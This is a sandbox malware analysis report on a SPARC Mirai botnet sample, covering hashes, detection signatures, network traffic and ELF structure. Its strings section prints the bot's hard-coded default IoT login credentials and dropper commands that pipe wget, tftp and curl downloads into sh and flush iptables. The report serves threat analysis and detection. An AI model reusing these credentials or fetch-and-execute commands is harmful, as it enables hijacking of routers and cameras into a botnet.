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Linux Analysis Report
spc.elf

Overview

General Information

Sample name:spc.elf
Analysis ID:1585653
MD5:de17f1c9373626fcb1011bc1e84bd092
SHA1:6e4db526139d9b0b88a588fcbf264fdb8a86a833
SHA256:f396f6448fc3a5da1362998bc8af2e07ddc3c678cc8a42ddb2182b66d57bc0ff
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1585653
Start date and time:2025-01-07 23:47:07 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 29s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:spc.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@0/0
  • VT rate limit hit for: spc.elf
Command:/tmp/spc.elf
PID:6238
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • spc.elf (PID: 6238, Parent: 6162, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/spc.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
spc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6238.1.00007ff04c011000.00007ff04c02c000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: spc.elfReversingLabs: Detection: 26%
      Source: spc.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k
      Source: /tmp/spc.elf (PID: 6238)Socket: 127.0.0.1:43478Jump to behavior
      Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
      Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
      Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: spc.elfString found in binary or memory: http:///curl.sh
      Source: spc.elfString found in binary or memory: http:///wget.sh
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: (191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.19
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/tmp//var//va
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@0/0
      Source: /tmp/spc.elf (PID: 6238)Queries kernel information via 'uname': Jump to behavior
      Source: spc.elf, 6238.1.000055cee634a000.000055cee63d0000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sparc
      Source: spc.elf, 6238.1.000055cee634a000.000055cee63d0000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/sparc
      Source: spc.elf, 6238.1.00007ffe8f127000.00007ffe8f148000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sparc/tmp/spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/spc.elf
      Source: spc.elf, 6238.1.00007ffe8f127000.00007ffe8f148000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sparc

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: spc.elf, type: SAMPLE
      Source: Yara matchFile source: 6238.1.00007ff04c011000.00007ff04c02c000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: spc.elf, type: SAMPLE
      Source: Yara matchFile source: 6238.1.00007ff04c011000.00007ff04c02c000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      SourceDetectionScannerLabelLink
      spc.elf26%ReversingLabsLinux.Trojan.Mirai
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http:///wget.shspc.elffalse
        high
        http:///curl.shspc.elffalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          109.202.202.202
          unknownSwitzerland
          13030INIT7CHfalse
          91.189.91.43
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          91.189.91.42
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
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                                                  No context
                                                  No context
                                                  No created / dropped files found
                                                  File type:ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
                                                  Entropy (8bit):6.061982925234398
                                                  TrID:
                                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                  File name:spc.elf
                                                  File size:108'560 bytes
                                                  MD5:de17f1c9373626fcb1011bc1e84bd092
                                                  SHA1:6e4db526139d9b0b88a588fcbf264fdb8a86a833
                                                  SHA256:f396f6448fc3a5da1362998bc8af2e07ddc3c678cc8a42ddb2182b66d57bc0ff
                                                  SHA512:0f21cf4ddda2f6671e5835e6e3ad557e597d9eb96863165b4d64712889392fb310cdcbe0a954b86a4e89b6ebb8941578d2df7c6498cefbae3ecfe8d4b1c0f996
                                                  SSDEEP:1536:d5i9uWfoxQTob4cQ4gPQfzz4jn5EbsXQ3WkPu4z+Z+i6pbSW/TFoWjltkJo+55qq:d5inxobcn5EbVbxjlyJoIrHbv
                                                  TLSH:C4B34A2279751E2BC4C4957F21F74322F2F5238A24B8DA1A7D720E8DBFA465036137B9
                                                  File Content Preview:.ELF...........................4.........4. ...(.......................(...(...............,...,...,......g.........dt.Q................................@..(....@.Y^................#.....b@..`.....!....."D..@.....".........`......$"D.."D..@...........`....

                                                  ELF header

                                                  Class:ELF32
                                                  Data:2's complement, big endian
                                                  Version:1 (current)
                                                  Machine:Sparc
                                                  Version Number:0x1
                                                  Type:EXEC (Executable file)
                                                  OS/ABI:UNIX - System V
                                                  ABI Version:0
                                                  Entry Point Address:0x101a4
                                                  Flags:0x0
                                                  ELF Header Size:52
                                                  Program Header Offset:52
                                                  Program Header Size:32
                                                  Number of Program Headers:3
                                                  Section Header Offset:108160
                                                  Section Header Size:40
                                                  Number of Section Headers:10
                                                  Header String Table Index:9
                                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                  NULL0x00x00x00x00x0000
                                                  .initPROGBITS0x100940x940x1c0x00x6AX004
                                                  .textPROGBITS0x100b00xb00x165b00x00x6AX004
                                                  .finiPROGBITS0x266600x166600x140x00x6AX004
                                                  .rodataPROGBITS0x266780x166780x3bb00x00x2A008
                                                  .ctorsPROGBITS0x3a22c0x1a22c0x80x00x3WA004
                                                  .dtorsPROGBITS0x3a2340x1a2340x80x00x3WA004
                                                  .dataPROGBITS0x3a2400x1a2400x4000x00x3WA008
                                                  .bssNOBITS0x3a6400x1a6400x63000x00x3WA008
                                                  .shstrtabSTRTAB0x00x1a6400x3e0x00x0001
                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                  LOAD0x00x100000x100000x1a2280x1a2286.08630x5R E0x10000.init .text .fini .rodata
                                                  LOAD0x1a22c0x3a22c0x3a22c0x4140x67143.08970x6RW 0x10000.ctors .dtors .data .bss
                                                  GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Jan 7, 2025 23:47:51.396893024 CET43928443192.168.2.2391.189.91.42
                                                  Jan 7, 2025 23:47:57.028145075 CET42836443192.168.2.2391.189.91.43
                                                  Jan 7, 2025 23:47:58.563977957 CET4251680192.168.2.23109.202.202.202
                                                  Jan 7, 2025 23:48:12.130048037 CET43928443192.168.2.2391.189.91.42
                                                  Jan 7, 2025 23:48:24.416340113 CET42836443192.168.2.2391.189.91.43
                                                  Jan 7, 2025 23:48:28.511943102 CET4251680192.168.2.23109.202.202.202
                                                  Jan 7, 2025 23:48:53.084563971 CET43928443192.168.2.2391.189.91.42

                                                  System Behavior

                                                  Start time (UTC):22:47:48
                                                  Start date (UTC):07/01/2025
                                                  Path:/tmp/spc.elf
                                                  Arguments:/tmp/spc.elf
                                                  File size:4379400 bytes
                                                  MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e